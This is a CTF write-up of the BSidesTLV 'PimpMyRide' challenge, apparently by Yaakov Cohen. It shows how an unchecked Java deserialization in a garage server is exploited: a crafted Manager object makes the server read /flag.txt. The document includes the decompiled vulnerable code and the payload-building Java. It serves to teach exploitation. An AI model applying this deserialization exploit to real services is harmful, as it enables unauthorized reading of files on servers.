PimpMyRide

By Yaakov Cohen

PimpMyRide

Let's start, we got a jar file garage.jar. We decompiled it with this site. You can find the files here.

We noticed that the jar file contained both the client's and the server's code.

@Parameter(names={"--listen"}, description="Starts Garage as a server")

Let's take a look at the server code. We see that when the client chooses [3] Save garage the server serialize the garage object and sends it to the user:

else if (clientCommand.equalsIgnoreCase("3")) {
    FileOutputStream fos = new FileOutputStream("garage");
    ObjectOutputStream oos = new ObjectOutputStream(fos);
    oos.writeObject(garage);
    oos.flush();
    Utils.sendGarage(myClientSocket, garage.toByteArray());
} 

public class Garage implements Serializable
{
...
  public byte[] toByteArray() throws IOException {
    ByteArrayOutputStream out = new ByteArrayOutputStream();
    ObjectOutputStream os = new ObjectOutputStream(out);
    os.writeObject(this);
    return out.toByteArray();
  }
}

Then the user takes the garage byte array and saves it to a file called "garage":

else if (sentence.equals("3")) {
  Utils.writeToSocket(clientSocket, sentence);
  byte[] garageByteArray = Utils.receiveGarage(clientSocket);
  FileOutputStream fos = new FileOutputStream("garage");
  fos.write(garageByteArray);
  fos.close();
}

And when the client asks to [2] Load existing garage the client takes the garage file and sends it to the server:

FileInputStream fis = new FileInputStream("garage");
byte[] garageByteArray = Files.readAllBytes(new File("garage").toPath());
Utils.sendGarage(clientSocket, garageByteArray);

Then the server takes that stream and serializes it to a garage object without performing any checks:

     byte[] garageBytes = Utils.receiveGarage(myClientSocket);
     ByteArrayInputStream in = new ByteArrayInputStream(garageBytes);
     ObjectInputStream ois = new ObjectInputStream(in);
 ==> garage = ((Garage)ois.readObject());
     ois.close();

In the garage class we can see a private object private Employee garageManager; that is never set. In the the code flow of the garageManager class we can see that the function readObject has a custom implementation, this function will be executed when the object is serialized:

public class Manager extends Employee implements java.io.Serializable
{
  private String closeMessageFile;
  private String closeMessage;
  
  public Manager() throws IOException
  {
    closeMessageFile = "close.txt";
    logger = new FileLogger("log.txt");
    closeMessage = null;
  }
....
  private void readObject(java.io.ObjectInputStream in) throws ClassNotFoundException, IOException {
    in.defaultReadObject();
    try {
      if (closeMessage == null) {
        java.io.File closeMessageFile = new java.io.File(this.closeMessageFile);
        FileInputStream fis = new FileInputStream(closeMessageFile);
        byte[] data = new byte[(int)closeMessageFile.length()];
        fis.read(data);
        fis.close();
        closeMessage = new String(data, "UTF-8");
      }
    }
    catch (IOException localIOException) {}
  }
}

If only we could create a garageManager and change closeMessageFile attribute from close.txt to /flag.txt...

Wait a second, we can!

So the plan is:

  1. Create a garage object with a modified garageManager.
  2. Send it to the server, in the serialization the garageManager will read /flag.txt in the closeMessage attribute.
  3. Save the garage to a file.
  4. Submit the flag.

We modified garage object:

public class Manager extends Employee implements java.io.Serializable
{
  private String closeMessageFile;
  private String closeMessage;
  
  public Manager() throws IOException
  {
    closeMessageFile = "/flag.txt";
    logger = null;//new FileLogger("log.txt");
    closeMessage = null;
  }
  ....
  private void readObject(java.io.ObjectInputStream in) throws ClassNotFoundException, IOException {
    in.defaultReadObject();
    try {

        java.io.File closeMessageFile = new java.io.File(this.closeMessageFile);
        FileInputStream fis = new FileInputStream(closeMessageFile);
        byte[] data = new byte[(int)closeMessageFile.length()];
        fis.read(data);
        fis.close();
        closeMessage = new String(data, "UTF-8");
      
    }
    catch (IOException localIOException) {}
  }
}

Created a new garage object:

public static void main(String[] args){
    Garage garage = new Garage();
    garage.setManager(new Manager());
    FileOutputStream fos = new FileOutputStream("garage");
    ObjectOutputStream oos = new ObjectOutputStream(fos);
    oos.writeObject(garage);
    oos.flush();
}

Sent it to the server: [2] Load existing garage, and got the new garage object from server: [3] Save garage.

In the object file we can see the flag: BSidesTLV{I_Am_Inspector_Gadget}.

Success